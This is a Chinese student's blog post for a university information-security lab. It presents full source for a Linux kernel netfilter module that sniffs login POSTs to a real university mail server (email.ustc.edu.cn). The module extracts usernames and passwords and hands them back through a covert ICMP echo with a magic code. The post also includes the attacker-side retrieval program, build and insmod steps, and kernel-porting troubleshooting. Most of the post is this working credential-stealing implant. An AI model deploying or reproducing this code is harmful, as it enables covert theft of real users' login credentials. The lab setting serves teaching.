目录

  • 一 前言
  • 二 Talk is cheap, show me the code
  • 三 前期准备
  • 四 效果演示
  • 五 遇到的问题&解决
  • 六 参考资料
  • 七 老师提供的代码

一 前言

文章不讲解理论知识哈,想学习理论知识的,认真听课?,也可以参考郭老师的讲义:信息安全课程 ustcsse308

对于Linux,我只是个半路闯进来的小白,做实验过程中经常会被Linux内核玩得怀疑人生。所以我觉得很有必要先阐明实验的环境,以免各位同学不小心掉坑里。当然,如果你就是想爬坑,咱也拦不住?

实验环境 / 工具:

  • VMware workstation:VMware-workstation-full-15.0.0-10134415,网盘下载(密码:xn3p)
  • 两台虚拟机(命名为:hacker(黑客),mice(小白鼠)),系统为:ubuntu-18.04.2-desktop-amd64.iso,网盘下载(密码:0ekt)

你可能用得上的网站:

  • Old Ubuntu Releases(老版本的Linux系统下载网址):http://old-releases.ubuntu.com/releases/
  • Linux内核源码搜索:https://elixir.bootlin.com/linux/v4.0/source/arch/x86/kernel/entry_64.S
  • Ubuntu Kernel Release Schedule(内核与操作系统版本的对应关系):https://wiki.ubuntu.com/Kernel/Support

相关实验:

  • 科软-信息安全实验1-ICMP重定向:https://www.cnblogs.com/southday/p/11005766.html
  • 科软-信息安全实验3-Rootkit劫持系统调用:https://www.cnblogs.com/southday/p/11013166.html

回到目录

二 Talk is cheap, show me the code

mice端 Makefile:

注意:由于make命令的限制,make -C ... 的前面必须是2个tab(不能将tab转为空格)

1 obj-m += lcx-nfsniff.o
2
3 all:
4         make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
5
6 clean:
7         make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

View Code

mice端 lcx-nfsniff.c:

当时也是闲着无聊,自己写了kmp字符串匹配的函数,其实C语言中提供了strstr()函数可以实现同样的效果;

  1 #include <linux/module.h>
  2 #include <linux/kernel.h>
  3 #include <linux/skbuff.h>
  4 #include <linux/in.h>
  5 #include <linux/ip.h>
  6 #include <linux/tcp.h>
  7 #include <linux/icmp.h>
  8 #include <linux/netdevice.h>
  9 #include <linux/netfilter.h>
 10 #include <linux/netfilter_ipv4.h>
 11 #include <linux/if_arp.h>
 12 #include <linux/if_ether.h>
 13 #include <linux/if_packet.h>
 14
 15 #define MAGIC_CODE 0x77 // ICMP CODE
 16 #define REPLY_SIZE 36   // tartget_ip(4B) + username(16B) + password(16B)
 17
 18 #define SUCCESS  1
 19 #define FAILURE -1
 20 #define IP_202_38_64_8 138421962 // email.ustc.edu.cn
 21
 22 static const char *post_uri   = "POST /coremail/index.jsp?cus=1";
 23 static const int post_uri_len = 30;
 24 static const unsigned int target_ip = IP_202_38_64_8;
 25
 26 static char *username = NULL;
 27 static char *password = NULL;
 28
 29 static struct nf_hook_ops pre_hook;
 30 static struct nf_hook_ops post_hook;
 31
 32 /**
 33  * 过滤器:发现我想要的数据包,如下:
 34  * dest_ip:202.38.64.8 (email.ustc.edu.cn)
 35  * tcp_dest_port:80
 36  * POST_URI:POST /coremail/index.jsp?cus=1
 37  *
 38  * @return SUCCESS/FAILURE
 39  * @author southday
 40  * @date 2019.04.14
 41  */
 42 static unsigned int findpkt_iwant(struct sk_buff *skb) {
 43     struct iphdr *ip = NULL;
 44     struct tcphdr *tcp = NULL;
 45     char *data = NULL;
 46     int tcp_payload_len = 0;
 47
 48     ip = (struct iphdr *)skb_network_header(skb);
 49     if (ip->daddr != IP_202_38_64_8 || ip->protocol != IPPROTO_TCP)
 50         return FAILURE;
 51
 52     tcp = (struct tcphdr *)skb_transport_header(skb);
 53     tcp_payload_len = ntohs(ip->tot_len) - (ip->ihl<<2) - (tcp->doff<<2);
 54     data = (char *)((char *)tcp + (tcp->doff<<2));
 55     if (tcp->dest != htons(80)
 56         || tcp_payload_len < post_uri_len
 57         || strncmp(data, post_uri, post_uri_len) != 0) {
 58         return FAILURE;
 59     }
 60     printk("--------------- findpkt_iwant ------------------\n");
 61     printk("ip_hdrlen:         %d\n", (ip->ihl<<2));
 62     printk("tcp_hdrlen:        %d\n", (tcp->doff<<2));
 63     printk("ip_total_len:      %d\n", ntohs(ip->tot_len));
 64     printk("tcp_payload_len:   %d\n", tcp_payload_len);
 65     printk("ip_addr:        0x%p\n", ip);
 66     printk("tcp_addr:       0x%p\n", tcp);
 67     printk("tcp_data_addr:  0x%p\n", data);
 68     printk("hex : data[0-3] = 0x%02x%02x%02x%02x\n", data[0], data[1], data[2], data[3]);
 69     printk("char: data[0-3] = %c%c%c%c\n", data[0], data[1], data[2], data[3]);
 70     printk("--------------- findpkt_iwant ------------------\n");
 71     return SUCCESS;
 72 }
 73
 74 /**
 75  * 使用KMP算法进行字符串匹配
 76  * @return 匹配(>=0)/未匹配(-1)
 77  * @author southday
 78  * @date 2019.04.13
 79  */
 80 static int kmp(const char *cs, int cslen, const char *ct, int ctlen) {
 81     int i = 0, j = -1;
 82     int *next = NULL;
 83
 84     // 1) get next[]
 85     next = (int *)kmalloc(ctlen*sizeof(int), GFP_KERNEL);
 86     if (next == NULL)
 87         return -1;
 88     next[0] = -1, next[1] = 0;
 89     while (i < ctlen) {
 90         if (j == -1 || ct[i] == ct[j]) {
 91             i++, j++;
 92             next[i] = j;
 93         } else {
 94             j = next[j];
 95         }
 96     }
 97     // 2) match
 98     i = 0, j = 0;
 99     while (i < cslen && j < ctlen) {
100         if (j == -1 || cs[i] == ct[j]) {
101             i++, j++;
102         } else {
103             j = next[j];
104         }
105     }
106     kfree(next);
107     next = NULL;
108     return j >= ctlen ? (i - ctlen) : -1;
109 }
110
111 /**
112  * 从URL的参数中提取key对应的value值
113  * 比如:uid=lichaoxi&password=1234
114  * @param urlparam urlparam的首地址
115  * @param ulen url的长度
116  * @param key 如:uid=,password=
117  * @param klen key的长度(注意后面还有个=号)
118  * @return 成功找到(包含value的字符串首地址)/失败(NULL)
119  *
120  * @author southday
121  * @date 2019.04.13
122  */
123 char * fetch_urlparam(char *urlparam, int ulen, char *key, int klen) {
124     int index = 0, i = 0;
125     char *value = NULL;
126
127     if ((index = kmp(urlparam, ulen, key, klen)) == -1)
128         return NULL;
129     urlparam += (index + klen);
130     ulen -= (index + klen);
131     // username, password中本身就可能含有类似'&'这样需要进行编码的字符,urlencode('&') = %26
132     // http://www.atool88.com/urlencode.php
133     for (i = 0; i < ulen && urlparam[i] != '&'; i++);
134     if (i >= ulen)
135         return NULL;
136     // i + 1, for the last char '\0'
137     if ((value = (char *)kmalloc(sizeof(char)*(i+1), GFP_KERNEL)) == NULL)
138         return NULL;
139     memcpy(value, urlparam, i);
140     value[i] = '\0';
141     return value;
142 }
143
144 /**
145  * 从HTTP数据包中抓取 username, password
146  * 在调用该方法前需要先调用 findpkt_iwant()方法进行过滤
147  *
148  * @author southday
149  * @date 2019.04.13
150  */
151 static void fetch_http(struct sk_buff *skb) {
152     struct iphdr *ip = NULL;
153     struct tcphdr *tcp = NULL;
154     char *data = NULL; // tcp data
155     int tcp_payload_len = 0;
156     int i = 0, index = -1;
157     int content_len = 0; // Cotent-Length
158
159     ip = (struct iphdr *)skb_network_header(skb);
160     tcp = (struct tcphdr *)skb_transport_header(skb);
161     tcp_payload_len = ntohs(ip->tot_len) - (ip->ihl<<2) - (tcp->doff<<2);
162     data = (char *)tcp + (tcp->doff<<2);
163
164     // e.g: Content-Length: 77\r\n
165     index = kmp(data, tcp_payload_len, "Content-Length: ", 16);
166     if (index == -1)
167         return;
168     data += (index + 16); // data point to: 77\r\n
169     for (i = 0; data[i] != '\r'; i++)
170         content_len = content_len*10 + ((int)data[i]-'0');
171     // now content_len = 77
172
173     // data point to layer: HTML Form URL Encode
174     data = (char *)tcp + (tcp->doff<<2) + (tcp_payload_len-content_len);
175     // 1) fetch username
176     username = fetch_urlparam(data, content_len, "uid=", 4);
177     // 2) fetch password
178     password = fetch_urlparam(data, content_len, "password=", 9);
179     if (username == NULL || password == NULL)
180         return;
181     printk("----------------- fetch_http -------------------\n");
182     printk("content_len = %d\n", content_len);
183     printk("urlencode(username): %s\n", username);
184     printk("urlencode(password): %s\n", password);
185     printk("----------------- fetch_http -------------------\n");
186 }
187
188 /**
189  * 是否已经抓取到一对<用户名,密码>
190  * @return 是(1)/否(0)
191  * @author southday
192  * @date 2019.04.14
193  */
194 static int hasPair(void) {
195     return username != NULL && password != NULL;
196 }
197
198 /**
199  * POST_ROUTING,将数据包发送出去的前一个HOOK点;
200  * 用于监听本机往外发送的数据包,并从中提取出所需的username,password;
201  * 下面实现的是对于网址 http://email.ustc.edu.cn 的监听
202  * > nslookup email.ustc.edu.cn => Address: 202.38.64.8
203  *
204  * @author southday
205  * @date 2019.04.13
206  */
207 static unsigned int watch_out(void *priv,
208                               struct sk_buff *skb,
209                               const struct nf_hook_state *state) {
210     if (findpkt_iwant(skb) == FAILURE)
211         return NF_ACCEPT;
212     printk("findpkt_iwant ====> SUCCESS\n");
213     if (!hasPair())
214         fetch_http(skb);
215     return NF_ACCEPT;
216 }
217
218 /**
219 * PRE_ROUTING,接收数据包的第一个HOOK点;
220 * 用于监听本机接收的数据包,若为hacker想要获取数据而发来的指定ICMP_ECHO数据包(icmp->code=0x77),
221 * 则将tager_ip, username, password拷贝到原ICMP包的数据部分,然后返回给hacker;
222 *
223 * @author southday
224 * @date 2019.04.14
225 */
226 static unsigned int watch_in(void *priv,
227                              struct sk_buff *skb,
228                              const struct nf_hook_state *state) {
229     struct iphdr *ip = NULL;
230     struct icmphdr *icmp = NULL;
231     int icmp_payload_len = 0;
232     char *cp_data = NULL; // copy pointer
233     unsigned int temp_ipaddr; // temporary ip holder for swap ip (saddr <-> daddr)
234
235     ip = (struct iphdr *)skb_network_header(skb);
236     if (!hasPair() || ip->protocol != IPPROTO_ICMP)
237         return NF_ACCEPT;
238
239     icmp = (struct icmphdr *)((char *)ip + (ip->ihl<<2));
240     // 最后8字节为 ICMP首部长度
241     icmp_payload_len = ntohs(ip->tot_len) - (ip->ihl<<2) - 8;
242     if (icmp->code != MAGIC_CODE
243         || icmp->type != ICMP_ECHO
244         || icmp_payload_len < REPLY_SIZE) {
245         return NF_ACCEPT;
246     }
247
248     // 因为要往回发包,所以交换源、目的IP
249     temp_ipaddr = ip->saddr;
250     ip->saddr = ip->daddr;
251     ip->daddr = temp_ipaddr;
252
253     skb->pkt_type = PACKET_OUTGOING;
254     switch (skb->dev->type) {
255         case ARPHRD_PPP: break;
256         case ARPHRD_LOOPBACK:
257         case ARPHRD_ETHER: {
258             unsigned char temp_hwaddr[ETH_ALEN];
259             struct ethhdr *eth = NULL;
260             // Move the data pointer to point to the link layer header
261             eth = (struct ethhdr *)eth_hdr(skb);
262             skb->data = (unsigned char*)eth;
263             skb->len += ETH_HLEN; // 14, sizeof(skb->mac.ethernet);
264             memcpy(temp_hwaddr, eth->h_dest, ETH_ALEN);
265             memcpy(eth->h_dest, eth->h_source, ETH_ALEN);
266             memcpy(eth->h_source, temp_hwaddr, ETH_ALEN);
267             break;
268         }
269     }
270
271     // copy target_ip, username, password into packet
272     cp_data = (char *)icmp + 8;
273     memcpy(cp_data, &target_ip, 4);
274     memcpy(cp_data+4, username, 16);
275     memcpy(cp_data+20, password, 16);
276
277     printk("watch_in STOLEN ====> SUCCESS\n");
278     printk("urlencode(username): %s\n", username);
279     printk("urlencode(password): %s\n", password);
280     dev_queue_xmit(skb); // 发送数据帧
281     kfree(username);
282     kfree(password);
283     username = password = NULL;
284     return NF_STOLEN;
285 }
286
287 int init_module(void) {
288     pre_hook.hook = watch_in;
289     pre_hook.pf = PF_INET;
290     pre_hook.hooknum = NF_INET_PRE_ROUTING;
291     pre_hook.priority = NF_IP_PRI_FIRST;
292     nf_register_net_hook(&init_net, &pre_hook);
293
294     post_hook.hook = watch_out;
295     post_hook.pf = PF_INET;
296     post_hook.hooknum = NF_INET_POST_ROUTING;
297     post_hook.priority = NF_IP_PRI_FIRST;
298     nf_register_net_hook(&init_net, &post_hook);
299     printk("init_module\n");
300     return 0;
301 }
302
303 void cleanup_module(void) {
304     nf_unregister_net_hook(&init_net, &pre_hook);
305     nf_unregister_net_hook(&init_net, &post_hook);
306     printk("cleanup_module\n");
307 }

View Code

hacker端 lcx-getpass.c:

  1 #include<stdlib.h>
  2 #include<stdio.h>
  3 #include<string.h>
  4 #include<unistd.h>
  5 #include<sys/types.h>
  6 #include<sys/socket.h>
  7 #include<netinet/in.h>
  8 #include<netinet/ip_icmp.h>
  9 #include<linux/if_ether.h>
 10 #include<arpa/inet.h>
 11
 12 #define BUFF_SIZE  256
 13 #define SUCCESS    1
 14 #define FAILURE    -1
 15 #define MAGIC_CODE 0x77 // ICMP ECHO CODE
 16
 17 struct sockaddr_in remoteip;
 18 struct in_addr server_addr;
 19 int recvsockfd = -1;
 20 int sendsockfd = -1;
 21 unsigned char recvbuff[BUFF_SIZE];
 22 unsigned char sendbuff[BUFF_SIZE];
 23
 24 int load_args(const int argc, char **);
 25 void print_cmdprompt();
 26 int send_icmp_request();
 27 int recv_icmp_reply();
 28 unsigned short cksum(unsigned short *, int len);
 29 void print_ippacket_inbyte(unsigned char *);
 30
 31 int main(int argc, char **argv) {
 32     if (load_args(argc, argv) < 0) {
 33         printf("command format error!\n");
 34         print_cmdprompt();
 35         return FAILURE;
 36     }
 37     recvsockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
 38     sendsockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
 39     if (recvsockfd < 0 || sendsockfd < 0) {
 40         perror("socket creation error");
 41         return FAILURE;
 42     }
 43     printf("lcx-getpass running...\n");
 44     // 1) 发送ICMP ECHO 回送请求报文
 45     send_icmp_request();
 46     // 2) 接收ICMP ECHO 回送回答报文
 47     recv_icmp_reply();
 48     close(sendsockfd);
 49     close(recvsockfd);
 50     return 0;
 51 }
 52
 53 /**
 54  * 命令:lcx-getpass 192.168.23.131
 55  * 载入参数:192.168.23.131,表示受害者主机IP地址
 56  *
 57  * @author southday
 58  * @date 2019.04.14
 59  */
 60 int load_args(const int argc, char *argv[]) {
 61     if (argc != 2 || inet_aton(argv[1], &remoteip.sin_addr) == 0)
 62         return FAILURE;
 63     return SUCCESS;
 64 }
 65
 66 /**
 67  * 打印命令提示信息
 68  * @author southday
 69  * @date 2019.04.14
 70  */
 71 void print_cmdprompt() {
 72     printf("\nlcx-getpass [remoteip]\n\n");
 73     printf("\t    [remoteip]       Victim host IP address, eg: 192.168.23.131\n");
 74 }
 75
 76 /**
 77  * 发送ICMP回送请求报文
 78  * @author southday
 79  * @date 2019.04.14
 80  */
 81 int send_icmp_request() {
 82     bzero(sendbuff, BUFF_SIZE);
 83     // 构造ICMP ECHO首部
 84     struct icmp *icmp = (struct icmp *)sendbuff;
 85     icmp->icmp_type = ICMP_ECHO; // ICMP_ECHO 8
 86     icmp->icmp_code = MAGIC_CODE;
 87     icmp->icmp_cksum = 0;
 88     // 计算ICMP校验和,涉及首部和数据部分,包括:8B(ICMP ECHO首部) + 36B(4B(target_ip)+16B(username)+16B(password))
 89     icmp->icmp_cksum = cksum((unsigned short *)icmp, 8 + 36);
 90
 91     printf("sending request........\n");
 92     int ret = sendto(sendsockfd, sendbuff, 44, 0, (struct sockaddr *)&remoteip, sizeof(remoteip));
 93     if (ret < 0) {
 94         perror("send error");
 95     } else {
 96         printf("send a icmp echo request packet!\n\n");
 97     }
 98     return SUCCESS;
 99 }
100
101 /**
102  * 接收ICMP回送回答报文
103  * @author southday
104  * @date 2019.04.14
105  */
106 int recv_icmp_reply() {
107     bzero(recvbuff, BUFF_SIZE);
108     printf("waiting for reply......\n");
109     if (recv(recvsockfd, recvbuff, BUFF_SIZE, 0) < 0) {
110         printf("failed getting reply packet\n");
111         return FAILURE;
112     }
113     struct icmphdr *icmp = (struct icmphdr *)(recvbuff + 20);
114     memcpy(&server_addr, (char *)icmp+8, 4);
115     // 打印IP包字节数据,便于调试
116     print_ippacket_inbyte(recvbuff);
117     printf("stolen from http server: %s\n", inet_ntoa(server_addr));
118     printf("username: %s\n", (char *)((char *)icmp + 12));
119     printf("password: %s\n", (char *)((char *)icmp + 28));
120     return SUCCESS;
121 }
122
123 /**
124  * 计算校验和
125  *   1) IP:IP首部
126  *   2) ICMP:首部+数据
127  * @param *addr 开始计算校验和的入口地址
128  * @param len 计算校验和所使用的数据长度,单位Byte
129  * @return 16位的校验和
130  *
131  * @author southday
132  * @date 2019.03.29
133  */
134 unsigned short cksum(unsigned short *addr, int len) {
135     int sum = 0;
136     unsigned short res = 0;
137     /* len -= 2,因为 sizeof(unsigned short) = 2;
138      * sum += *(addr++),每次偏移2Byte
139      */
140     for (; len > 1; sum += *(addr++), len -= 2);
141     // 每次处理2Byte,可能会存在多余的1Byte
142     sum += len == 1 ? *addr : 0;
143     // sum:高16位 + 低16位,高16位中存在可能的进位
144     sum = (sum >> 16) + (sum & 0xffff);
145     // sum + sum的高16位,高16位中存在可能的进位
146     sum += (sum >> 16);
147     // 经过2次对高16位中可能存在的进位进行处理,即可确保sum高16位中再无进位
148     res = ~sum;
149     return res;
150 }
151
152 /**
153  * 以单字节形式打印IP数据包,包括首部和数据部分,并且模仿wireshark的格式,便于调试
154  * @author southday
155  * @date 2019.04.14
156  */
157 void print_ippacket_inbyte(unsigned char *ipbuff) {
158     struct ip *ip = (struct ip *)ipbuff;
159     printf("                                              %02x %02x", ipbuff[0], ipbuff[1]);
160     for (int i = 0, len = ntohs(ip->ip_len)-2; i < len; i++) {
161         if (i % 16 == 0)
162             printf("\n");
163         if (i % 8 == 0)
164             printf("  ");
165         printf("%02x ", ipbuff[i+2]);
166     }
167     printf("\n");
168 }

View Code

回到目录

三 前期准备

1 登录 http://email.ustc.edu.cn/,使用Wireshark抓包

2 Wireshark抓包分析,可以获取以下信息:

  • 服务器IP:202.38.64.8
  • URL中用户名的key为:uid,密码的key为:password
  • 使用POST提交请求,POST /coremail/index.jsp?cus=1 HTTP/1.1 \r\n
  • Content-Length:89\r\n

3 过滤条件中IP地址的处理

内核中没有类似 inet_ntoa(),inet_aton() 的函数,所以要过滤指定目的IP,我选择了直接匹配十进制数字的方法;我在 hook 中打印了一下 ip->addr,可以看到:
  • 在wireshark中:202.38.64.8 对应的16进制是:0xca264008,顺序匹配;
  • 在内核 ip->daddr中:202.38.64.8 对应的16进制是:0x084026ca,顺序相反;
lcx@ubuntu:~/Documents/InfoSec/E2/lcx$ tail -f /var/log/syslog
Apr 12 20:03:44 ubuntu kernel: [ 4940.501069] dest_ip(hex): 0x84026ca
Apr 12 20:03:44 ubuntu kernel: [ 4940.501301] watch_in!
Apr 12 20:03:53 ubuntu kernel: [ 4949.270321] watch_in!
Apr 12 20:03:53 ubuntu kernel: [ 4949.270589] dest_ip(dec): 138421962
Apr 12 20:03:53 ubuntu kernel: [ 4949.270590] dest_ip(hex): 0x84026ca

为了提高效率(其实是懒得找方法去转换),我决定在代码中直接把“202.38.64.8”转为10进制数:138421962,然后直接与 ip->daddr 匹配;

根据如下规则进行过滤:

dest_ip:202.38.64.8 (email.ustc.edu.cn)
tcp_dest_port:80
POST_URI:POST /coremail/index.jsp?cus=1

4 uid,password的获取

对过滤后的 http 包进行 fetch,从中抓取出 uid,password;
1)注意观察wireshark中抓取的 http 数据包,其中有好几个层次:IP -> TCP -> HTTP -> HTML Form URL Encoded;
2)我们要抓取的 uid 和 password 在最后一个层次中(HTTP -> HTML Form URL Encoded);
3)所以必须把指针移动到相应的位置,才能开始字符串匹配(这样效率高一些);

4)根据 iphdr,tcphdr,可以获取到:ip_hdr_len、ip_total_len、tcp_hdr_len;通过计算就可以把 *data 指针移动到 TCP 的数据开始位置;(data = tcp_addr + tcp_hdr_len)
5)现在 *data 指向的是 HTTP 层次,那么如何将 *data 移动到 HFUE 层次呢?继续观察 wireshark 抓的包:

6)可以发现,在HTTP层次中有一个参数:Content-Length: 89\r\n,这个 89 代表的就是后面 HFUE 层次所占的总字节数;所以只要我们能获取到这个 content_len,那么就可以通过 tcp_addr + tcp_hdr_len + (tcp_payload_len - content_len) 来获得指向 HFUE 层次的 *data 指针;
7)接下来就可以进行字符串匹配工作,去获取:uid、password;

5 关于URL的编码问题

捕获到的 password为:1234%2656%E4%BD%A0%E5%A5%BD
我的想法是:

1)lcx-nfsniff.c 里直接原样传输给 hacker端,然后 getpass.c 中进行URL解码:1234&56你好;(不过找了一些资料,自己实现起来有点麻烦,所以还是先把主要的功能实现,这个问题后期有时间再去解决;(写博客的时候:好的,我放弃了?))

2)getpass.c 中也是原样打印字符串,然后使用在线工具进行解码如:在线UrlEncode编码 / UrlDecode解码(gbk, big5, utf8) - aTool在线工具

6 后续

接下来就是在 watch_in hook 中监听hacker端发来的 “获取用户名密码(icmp->code=0x77)”(为什么是0x77?因为我喜欢数字7?) 的 ICMP ECHO 数据包,如果不是该数据包则不进行任何处理;若为该数据包,则将之前 watch_out hook 中获取到的 target_ip, username, password 填充到 icmp 的 data 部分,然后返回 NF_STOLEN,表示后面不对该数据包进行处理,这样就把数据发回给 hacker 端了。

回到目录

四 效果演示

1 hacker端

1)在 mice端 lcx-nfsniff 未抓取 username,password之前:

2)在 mice端 lcx-nfsniff 抓取到 username,password之后:

3)getpass.sh 就一行代码,放在可执行程序 lcx-nfsniff 的同层目录下:

./lcx-getpass 192.168.23.131

2 mice端

1)进入 lcx-nfsniff.c 文件所在目录,注意:Makefile 文件和 lcx-nfsniff.c 文件在同一个目录下,不要更改 Makefile 文件的名称;

2)执行命令:

  • make
  • sudo insmod lcx-nfsniff.ko
  • tail -f /var/log/syslog

3)在网站(http://email.ustc.edu.cn/)中输入用户名密码进行登陆,即可看到抓取的信息;

回到目录

五 遇到的问题&解决

下面的内容,一部分是我在看老师讲义上的代码时遇到的问题,另一部分是我自己DIY时爬过的坑,如果大家直接用我上面提供的代码,就莫得问题?(内容仅供参考,不保证正确)

老师提供的代码,在这里? 传送门~

1 由 钩子函数注册不了 引起的一系列问题

1.1 implicit declaration of function ‘nf_register_hook’; did you mean ‘nf_register_net_hook’? [-Werror=implicit-function-declaration]

要用 nf_register_net_hook;

1.2 error: assignment from incompatible pointer type [-Werror=incompatible-pointer-types]
    post_hook.hook     = watch_out;

注意,我实验用的Linux 内核是:Linux version 4.18.0-17-generic (buildd@lgw01-amd64-021) (gcc version 7.3.0 (Ubuntu 7.3.0-16ubuntu3)) #18~18.04.1-Ubuntu SMP Fri Mar 15 15:27:12 UTC 2019。而老师实验用的Linux 内核是2.x版本的,所以老师给的示例代码 nfsniff.c 和 getpass.c 都需要进行一定的修改。

nfsniff.c 中对应的代码如下(pre_hook.hook = watch_in; post_hook.hook = watch_out; 两行代码报错):

 1 int init_module() {
 2    pre_hook.hook     = watch_in;
 3    pre_hook.pf       = PF_INET;
 4    pre_hook.priority = NF_IP_PRI_FIRST;
 5    pre_hook.hooknum  = NF_INET_PRE_ROUTING;
 6
 7    post_hook.hook     = watch_out;
 8    post_hook.pf       = PF_INET;
 9    post_hook.priority = NF_IP_PRI_FIRST;
10    post_hook.hooknum  = NF_INET_POST_ROUTING;
11
12    nf_register_hook(&pre_hook);
13    nf_register_hook(&post_hook);
14
15    return 0;
16 }
17
18 static unsigned int watch_in(unsigned int hooknum,
19                  struct sk_buff *skb,
20                  const struct net_device *in,
21                  const struct net_device *out,
22                  int (*okfn)(struct sk_buff *)) {}

View Code

Linux version 4.18.0-17 的 netfilter.h 中的相关声明如下:

 1 typedef unsigned int nf_hookfn(void *priv,
 2                    struct sk_buff *skb,
 3                    const struct nf_hook_state *state);
 4 struct nf_hook_ops {
 5     /* User fills in from here down. */
 6     nf_hookfn       *hook;
 7     struct net_device   *dev;
 8     void            *priv;
 9     u_int8_t        pf;
10     unsigned int        hooknum;
11     /* Hooks are ordered in ascending priority. */
12     int         priority;
13 };
14
15 struct nf_hook_state {
16     unsigned int hook;
17     u_int8_t pf;
18     struct net_device *in;
19     struct net_device *out;
20     struct sock *sk;
21     struct net *net;
22     int (*okfn)(struct net *, struct sock *, struct sk_buff *);
23 };

View Code

可以看到,参数没对应上;需要根据新版本的结构体来编写代码;

1.3 源码:nf_register_net_hook(&pre_hook); 报错

In file included from /home/lcx/Documents/InfoSec/E2/yan/nfsniff.c:9:0:
./include/linux/netfilter.h:167:5: note: expected ‘struct net *’ but argument is of type ‘struct nf_hook_ops *’
int nf_register_net_hook(struct net *net, const struct nf_hook_ops *ops);^~~~~~~~~~~~~~~~~~~~
/home/lcx/Documents/InfoSec/E2/yan/nfsniff.c:250:4: error: too few arguments to function ‘nf_register_net_hook’nf_register_net_hook(&post_hook);^~~~~~~~~~~~~~~~~~~~

这个 nf_register_net_hook() 除了 nf_hook_ops * 外,还需要一个 net * 参数,从 linux/netfilter.h 源码中看到一行代码,如下:

static inline bool net_has_fallback_tunnels(const struct net *net)
{return net == &init_net ||!IS_ENABLED(CONFIG_SYSCTL) ||!sysctl_fb_tunnels_only_for_init_net;
}

然后我在全文查找了 init_net,并没有找到定义的地方,可以猜到 init_net 是已经在其他头文件中定义好的值了,可以直接使用;所以上面的 nf_register_net_hook() 的第一个参数也应该写为:&init_net;

经过查找源码,发现确实在 <net/net_namespace.h> 中引用了变量 init_net;

  • init_net 是在 /net/core/net_namespace.c 文件中定义的;(参考网址:https://elixir.bootlin.com/linux/v4.18/ident/init_net)
  • net/net_namespace.h 文件位置:/usr/src/linux-headers-4.18.0-17/include/net/net_namespace.h,struct net {} 也是在这个头文件中定义;
  • 关于struct net *net,init_net,可以参考:struct net网络命名空间;
在 /net/core/net_namespace.c 中 init_net 定义如下:
struct net init_net = {.count      = REFCOUNT_INIT(1),.dev_base_head  = LIST_HEAD_INIT(init_net.dev_base_head),
};
EXPORT_SYMBOL(init_net);

问题1.1~1.3的解决可以参考下面的示例代码:

 1 #include <linux/module.h>
 2 #include <linux/kernel.h>
 3 #include <linux/skbuff.h>
 4 #include <linux/in.h>
 5 #include <linux/ip.h>
 6 #include <linux/tcp.h>
 7 #include <linux/icmp.h>
 8 #include <linux/netdevice.h>
 9 #include <linux/netfilter.h>
10 #include <linux/netfilter_ipv4.h>
11 #include <linux/if_arp.h>
12 #include <linux/if_ether.h>
13 #include <linux/if_packet.h>
14
15 static struct nf_hook_ops pre_hook;
16 static struct nf_hook_ops post_hook;
17
18 static unsigned int watch_in(void *priv,
19                              struct sk_buff *skb,
20                              const struct nf_hook_state *state) {
21     printk("watch_in!\n");
22     return NF_ACCEPT;
23 }
24
25 static unsigned int watch_out(void *priv,
26                               struct sk_buff *skb,
27                               const struct nf_hook_state *state) {
28     printk("watch_out!\n");
29     return NF_ACCEPT;
30 }
31
32 int init_module(void) {
33     pre_hook.hook = watch_in;
34     pre_hook.pf = PF_INET;
35     pre_hook.hooknum = NF_INET_PRE_ROUTING;
36     pre_hook.priority = NF_IP_PRI_FIRST;
37     nf_register_net_hook(&init_net, &pre_hook);
38
39
40     post_hook.hook = watch_out;
41     post_hook.pf = PF_INET;
42     post_hook.hooknum = NF_INET_POST_ROUTING;
43     post_hook.priority = NF_IP_PRI_FIRST;
44     nf_register_net_hook(&init_net, &post_hook);
45     printk(KERN_INFO "init_module\n");
46     return 0;
47 }
48
49 void cleanup_module(void) {
50     nf_unregister_net_hook(&init_net, &pre_hook);
51     nf_unregister_net_hook(&init_net, &post_hook);
52     printk(KERN_INFO "cleanup_module\n");
53 }

View Code

1.4 针对 1.1~1.3 的解答,老师可能会就着 hook_func_in 的函数定义来提问相关问题,比如:const struct nf_hook_state *state 这个参数是什么意思?所以需要弄懂相关函数定义的意思;

static unsigned int watch_out(void *priv,struct sk_buff *skb,const struct nf_hook_state *state) {printk("watch_out!\n");return NF_ACCEPT;
}

void *priv,这个参数是干什么的,我也不清楚,关于 void *的介绍可以看这篇文章:C语言中void*详解及应用

1 struct nf_hook_state {
2     unsigned int hook;        // 挂在哪个钩子上(NF_IP_PRE_ROUTING 等五个值中的一个);
3     u_int8_t pf;              // 指定协议族。有效的协议系列可从 linux/socket.h 获得,对于IPv4,要使用 PF_INET;
4     struct net_device *in;    // 用于描述数据包到达的接口,只会为 NF_IP_PRE_ROUTING 和 NF_IP_LOCAL_IN 挂钩提供 in;
5     struct net_device *out;   // 用于描述了数据包离开的接口,仅为 NF_IP_LOCAL_OUT 和 NF_IP_POST_ROUTING 挂钩提供 out;
6     struct sock *sk;          // 指向拥有本次sk_buff的sock结构的指针;
7     struct net *net;          // 表示一个网络命名空间;
8     int (*okfn)(struct net *, struct sock *, struct sk_buff *);  // wtf?
9 };

View Code

1)struct net_device *in; | struct net_device *out;
net_device 结构是Linux内核用来描述各种网络接口的结构,这些结构中的第一个,in用于描述数据包到达的接口,out结构描述了数据包离开的接口。重要的是,要意识到通常只提供这些结构中的一种。例如,只会为NF_IP_PRE_ROUTING和NF_IP_LOCAL_IN挂钩提供 in。 仅为NF_IP_LOCAL_OUT和NF_IP_POST_ROUTING挂钩提供 out。
2)struct sock *sk;(参考自:Linux:sk_buff完全剖析与理解)
这是一个指向拥有这个sk_buff的sock结构的指针。这个指针在网络包由本机发出或者由本机进程接收时有效,因为插口相关的信息被L4(TCP或UDP)或者用户空间程序使用。如果sk_buff只在转发中使用(这意味着,源地址和目的地址都不是本机地址),这个指针是NULL。
3)struct net *net;(参考自:struct net网络命名空间)
struct net 结构体表示的内核中的网络命名空间(net_namespace)。在linux内核中,每一个网络设备(struct net_device)都有一个所属的网络命名空间。

回到目录

2 makefile:4: *** missing separator. Stop(https://stackoverflow.com/questions/16931770/makefile4-missing-separator-stop)

我之前修改了vim的配置,让tab自动转为4个空格,后来发现执行make命令时报这个错,原因是make命令自身的限制,Makefile文件中必须是2个tab(转为空格也不行),关于vim配置的更改,执行命令:vim ~/.vimrc,添加如下内容:

 1 " ====================== common settings ====================
 2 "
 3 set hlsearch
 4 set backspace=2
 5 set autoindent
